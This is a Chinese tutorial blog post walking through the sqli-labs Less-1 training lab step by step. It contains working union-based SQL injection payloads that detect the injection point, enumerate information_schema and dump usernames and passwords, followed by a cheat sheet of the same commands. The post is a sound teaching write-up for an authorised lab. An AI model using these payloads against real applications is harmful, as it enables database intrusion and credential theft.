news 2026/7/24 2:45:29

sqli-labs-master/Less-1靶场实战解析|包含AI整理

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
sqli-labs-master/Less-1靶场实战解析|包含AI整理

🧪 SQL注入入门:sqli-labs-master/Less-1靶场实战解析

嘿!看到你想学习渗透测试,这太棒了!SQL注入是渗透测试的基础技能之一,sqli-labs-master的Less-1就是个绝佳的入门靶场。我来给你详细讲解这个靶场的渗透过程和思路,帮你轻松入门!

🔍 靶场基本情况

Less-1是一个字符型SQL注入靶场,需要单引号闭合。页面要求我们输入id参数,通过SQL注入获取数据库信息。


🧪 渗透测试全过程(详细步骤)

1️⃣ 判断注入类型(基础判断)

  • 输入http://localhost/sqli-labs-master/Less-1/?id=1

    • ✅ 页面正常显示(说明参数有效)
  • 输入http://localhost/sqli-labs-master/Less-1/?id=1'

    • ❌ 报错:You have an error in your SQL syntax...(单引号未闭合导致语法错误)
  • 输入http://localhost/sqli-labs-master/Less-1/?id=1' --+

    • ✅ 页面正常显示(说明是字符型注入,可用--+注释掉后面的单引号)

💡判断技巧:字符型注入需要单引号闭合,数字型不需要。字符型注入用',数字型用AND 1=1测试。


2️⃣ 确定字段数量(关键步骤)

  • 输入http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

    • ✅ 页面正常(说明至少有3列)
  • 输入http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

    • ❌ 报错:Unknown column '4' in 'order clause'(说明只有3列)

💡为什么用order byorder by可以用来探测字段数量,通过逐步增加数字直到报错确定实际列数。


3️⃣ 确定回显位置(关键位置)

  • 输入http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+
    • ✅ 页面显示:Your Login name:2 Your Password:3
    • 🤔 结论:第2列显示username,第3列显示password

💡为什么用-1id=-1确保原查询无结果,这样联合查询的结果才会显示出来。如果用id=1,原查询有结果,联合查询的数据会被忽略。


4️⃣ 爆破数据库信息

  • 数据库名http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 --+

    • ✅ 结果:security(数据库名)
  • 数据库版本http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),3 --+

    • ✅ 结果:10.2.26-MariaDB-log(数据库版本)
  • 当前用户http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,user(),3 --+

    • ✅ 结果:root@localhost(当前数据库用户)

5️⃣ 爆破表名(从information_schema获取)

  • 输入http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
    • ✅ 结果:emails,referers,uagents,users(数据库中的表名)

💡关键知识点information_schema是MySQL内置的系统数据库,包含所有元数据。


6️⃣ 爆破字段名(users表的字段)

  • 输入http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
    • ✅ 结果:id,username,password(users表的字段名)

💡为什么用group_concat?因为SQL查询默认返回多行,group_concat将结果聚合为一行显示。


7️⃣ 爆破数据(获取用户名和密码)

  • 输入http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username,'~',password),3 from users --+
    • ✅ 结果:Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,...(所有用户名和密码)

💡 核心知识点总结

📌 SQL注入基础

  • 字符型注入:需要单引号闭合(如id=1'
  • 数字型注入:不需要单引号(如id=1 AND 1=1
  • 闭合技巧--+(MySQL中常用注释符,注释掉后面的单引号)

📌 SQL注入常用函数

函数作用示例
database()获取当前数据库名database()
version()获取数据库版本version()
user()获取当前数据库用户user()
group_concat()聚合查询结果为一行group_concat(username, '~', password)
SLEEP()使查询暂停用于时间盲注

📌 MySQL系统数据库

  • information_schema:MySQL内置的系统数据库,包含所有元数据
    • tables表:table_schema(数据库名)、table_name(表名)
    • columns表:column_name(字段名)

📌 联合查询技巧

  • union select:将两个查询结果合并
  • 关键技巧id=-1确保原查询无结果,让联合查询结果显示
  • 字段匹配:联合查询的列数必须与原查询匹配

💪 学习建议

  1. 先理解原理:不要只记命令,要理解为什么需要order byunion select
  2. 动手实践:在自己的环境中搭建sqli-labs靶场,亲自操作
  3. 逐步深入:Less-1是入门,Less-2是数字型注入,Less-3是报错注入,逐步挑战
  4. 安全第一:只在授权的靶场环境中练习,不要尝试攻击他人系统

🌟小提醒:SQL注入是基础技能,但实际渗透中还有更多类型(如盲注、时间盲注、宽字节注入等),建议先掌握Less-1,再挑战其他关卡。


📚 附:Less-1靶场完整SQL命令清单

-- 判断注入类型?id=1' --+ (字符型注入) -- 确定字段数 ?id=1'orderby3--+ (3列正常)?id=1' order by 4 --+ (4列报错) -- 确定回显位置 ?id=-1'unionselect1,2,3--+ (回显位置2、3)-- 爆库名?id=-1' union select 1,database(),3 --+ -- 爆表名 ?id=-1'unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema='security'--+-- 爆字段名?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ -- 爆数据 ?id=-1'unionselect1,group_concat(username,'~',password),3fromusers--+

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/23 21:40:26

2025年必备AI降重工具推荐:6款稳定高效平台全面测评

2025AI 降重网站排行:6 个好用款(秒篇、deepseek),亲测不翻车工具名称处理速度降重效果特色功能适用场景秒篇20分钟AIGC率降至个位数AIGC查重降重二合一AI生成内容优化AIcheck15-30分钟重复率可降至5-8%专业术语保护高重复率论文急…

作者头像 李华
网站建设 2026/7/23 18:17:40

毕设分享 深度学习yolo11垃圾分类系统(源码+论文)

文章目录0 前言1 项目运行效果2 课题背景2.1. 研究背景2.2. 技术发展现状2.3. 现有技术存在的问题2.4. 研究意义2.5. 项目创新点2.6. 技术路线3 设计框架3.1. 技术选型与框架3.1.1 核心技术栈3.1.2 开发环境3.2. 系统架构设计3.2.1 整体架构3.2.2 模块划分3.3. 核心模块实现3.3…

作者头像 李华
网站建设 2026/7/22 15:41:19

基于vue的协同过滤算法的电影推荐系统_44lxts84_springboot php python nodejs

目录 具体实现截图项目介绍论文大纲核心代码部分展示项目运行指导结论源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作 具体实现截图 本系统(程序源码数据库调试部署讲解)同时还支持java、ThinkPHP、Node.js、Spring…

作者头像 李华
网站建设 2026/7/22 8:18:54

点大商城系统v2全开源版基础上增加22复制7人成团功能的一些开发经验导图支持(链动n+1功能+排队免单功能+大屏数据)

说明:点大商城已经全开源,全系支持二次开发(功能修改、功能修复、增加功能、模板UI美化)完全按照用户需求进行开发,有功能您尽管提分享最近用户开发案例需求,可能也能给你新脑洞(22复制7人成团)…

作者头像 李华
网站建设 2026/7/24 1:33:53

AutoGPT创意灵感生成器:帮助设计师突破思维瓶颈

AutoGPT创意灵感生成器:帮助设计师突破思维瓶颈 在品牌视觉设计的日常工作中,你是否曾遇到这样的困境?面对一个“打造天然护肤品牌VI系统”的任务,打开浏览器开始搜索竞品案例时,却发现信息碎片化、风格混杂&#xff0…

作者头像 李华